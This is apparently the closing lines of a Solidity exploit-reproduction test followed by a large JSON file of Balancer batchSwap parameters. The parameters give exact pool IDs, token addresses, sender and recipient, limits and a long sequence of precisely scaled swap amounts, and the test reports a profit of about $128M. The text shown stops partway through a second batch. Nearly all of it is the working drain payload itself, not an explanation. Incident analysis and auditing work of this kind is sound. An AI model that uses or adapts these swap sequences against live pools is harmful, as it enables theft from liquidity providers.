emit log_named_decimal_int(unicode" ├─ WETH Δ", int256(finalWeth) - int256(initialWeth), 18);
emit log_named_decimal_int(unicode" ├─ osETH Δ", int256(finalOsETH) - int256(initialOsETH), 18);
emit log_named_decimal_int(unicode" ├─ wstETH Δ", int256(finalWstETH) - int256(initialWstETH), 18);
emit log_named_decimal_int(unicode" ├─ BPT_osETH Δ", int256(finalBpt) - int256(initialBpt), 18);
emit log_named_decimal_int(unicode" └─ BPT_wstETH Δ", int256(finalBptWstETH) - int256(initialBptWstETH), 18);
emit log(unicode"\n ✅ Exploit successfully reproduced (~$128M profit)");
}
/// @notice Gets indentation prefix for tree structure
function _getIndent(
uint256 level
) internal pure returns (string memory) {
if (level == 0) return "";
if (level == 1) return " ";
if (level == 2) return " ";
if (level == 3) return " ";
return " ";
}
receive() external payable {}
}
[
{
"kind": 1,
"swaps": [
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 1,
"assetOutIndex": 0,
"amount": 4873132999218408001625,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 1,
"assetOutIndex": 2,
"amount": 6783065423678905706961,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 1,
"assetOutIndex": 0,
"amount": 48731329992184080017,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 1,
"assetOutIndex": 2,
"amount": 67830654236789057069,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 1,
"assetOutIndex": 0,
"amount": 487313299921840800,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 1,
"assetOutIndex": 2,
"amount": 678306542367890571,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 1,
"assetOutIndex": 0,
"amount": 4873132999218408,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 1,
"assetOutIndex": 2,
"amount": 6783065423678906,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 1,
"assetOutIndex": 0,
"amount": 48731329992184,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 1,
"assetOutIndex": 2,
"amount": 67830654236789,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 1,
"assetOutIndex": 0,
"amount": 487313299922,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 1,
"assetOutIndex": 2,
"amount": 678306542367,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 1,
"assetOutIndex": 0,
"amount": 4873132999,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 1,
"assetOutIndex": 2,
"amount": 6783065424,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 1,
"assetOutIndex": 0,
"amount": 48731330,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 1,
"assetOutIndex": 2,
"amount": 67830654,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 1,
"assetOutIndex": 0,
"amount": 487313,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 1,
"assetOutIndex": 2,
"amount": 678307,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 1,
"assetOutIndex": 0,
"amount": 4873,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 1,
"assetOutIndex": 2,
"amount": 6783,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 1,
"assetOutIndex": 0,
"amount": 50,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 1,
"assetOutIndex": 2,
"amount": 69,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 66982,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 891000,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 5165,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 666000,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 9016,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 495000,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 12206,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 369000,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17532,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 270000,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 14434,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 198000,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 11377,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 160000,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 22554,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 120000,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17663,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 89100,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 12038,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 67500,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 10414,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 52200,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 9007,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 40500,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 7867,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 31500,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 6554,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 24300,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 5472,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 19800,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 4749,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 16200,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 4397,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 12600,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 3442,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 10800,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 3296,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 9000,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 2886,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 7371,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 2286,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 6480,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 2124,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 6075,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 2014,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 5589,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 1902,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4779,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 1730,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4455,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 1664,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 3969,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 1562,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 3726,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 1492,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 3645,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 1484,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 3564,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 1444,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 17,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 3564,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 1,
"amount": 10000,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 1,
"amount": 10000000,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 1,
"amount": 10000000000,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 1,
"amount": 10000000000000,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 1,
"amount": 10000000000000000,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 1,
"amount": 10000000000000000000,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 1,
"amount": 10000000000000000000000,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 2,
"assetOutIndex": 1,
"amount": 941319322493191942754,
"userData": "0x"
},
{
"poolId": "0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635",
"assetInIndex": 0,
"assetOutIndex": 1,
"amount": 941319322493191942754,
"userData": "0x"
}
],
"assets": [
"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2",
"0xDACf5Fa19b1f720111609043ac67A9818262850c",
"0xf1C9acDc66974dFB6dEcB12aA385b9cD01190E38"
],
"funds": {
"sender": "0x54B53503c0e2173Df29f8da735fBd45Ee8aBa30d",
"fromInternalBalance": true,
"recipient": "0x54B53503c0e2173Df29f8da735fBd45Ee8aBa30d",
"toInternalBalance": true
},
"limits": [
1809251394333065553493296640760748560207343510400633813116524750123642650624,
1809251394333065553493296640760748560207343510400633813116524750123642650624,
1809251394333065553493296640760748560207343510400633813116524750123642650624
],
"deadline": 1762156007
},
{
"kind": 1,
"swaps": [
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 1,
"assetOutIndex": 0,
"amount": 4228132612127881562978,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 1,
"assetOutIndex": 2,
"amount": 1957287132413516128516,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 1,
"assetOutIndex": 0,
"amount": 42281326121278815630,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 1,
"assetOutIndex": 2,
"amount": 19572871324135161285,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 1,
"assetOutIndex": 0,
"amount": 422813261212788156,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 1,
"assetOutIndex": 2,
"amount": 195728713241351613,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 1,
"assetOutIndex": 0,
"amount": 4228132612127882,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 1,
"assetOutIndex": 2,
"amount": 1957287132413516,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 1,
"assetOutIndex": 0,
"amount": 42281326121278,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 1,
"assetOutIndex": 2,
"amount": 19572871324136,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 1,
"assetOutIndex": 0,
"amount": 422813261213,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 1,
"assetOutIndex": 2,
"amount": 195728713241,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 1,
"assetOutIndex": 0,
"amount": 4228132612,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 1,
"assetOutIndex": 2,
"amount": 1957287132,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 1,
"assetOutIndex": 0,
"amount": 42281326,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 1,
"assetOutIndex": 2,
"amount": 19572872,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 1,
"assetOutIndex": 0,
"amount": 422814,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 1,
"assetOutIndex": 2,
"amount": 195728,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 1,
"assetOutIndex": 0,
"amount": 4228,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 1,
"assetOutIndex": 2,
"amount": 1958,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 1,
"assetOutIndex": 0,
"amount": 43,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 1,
"assetOutIndex": 2,
"amount": 20,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 99999999995,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 380000000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 6665,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 270000000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 6528,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 190000000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 2477,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 130000000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 297,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4,
"userData": "0x"
},
{
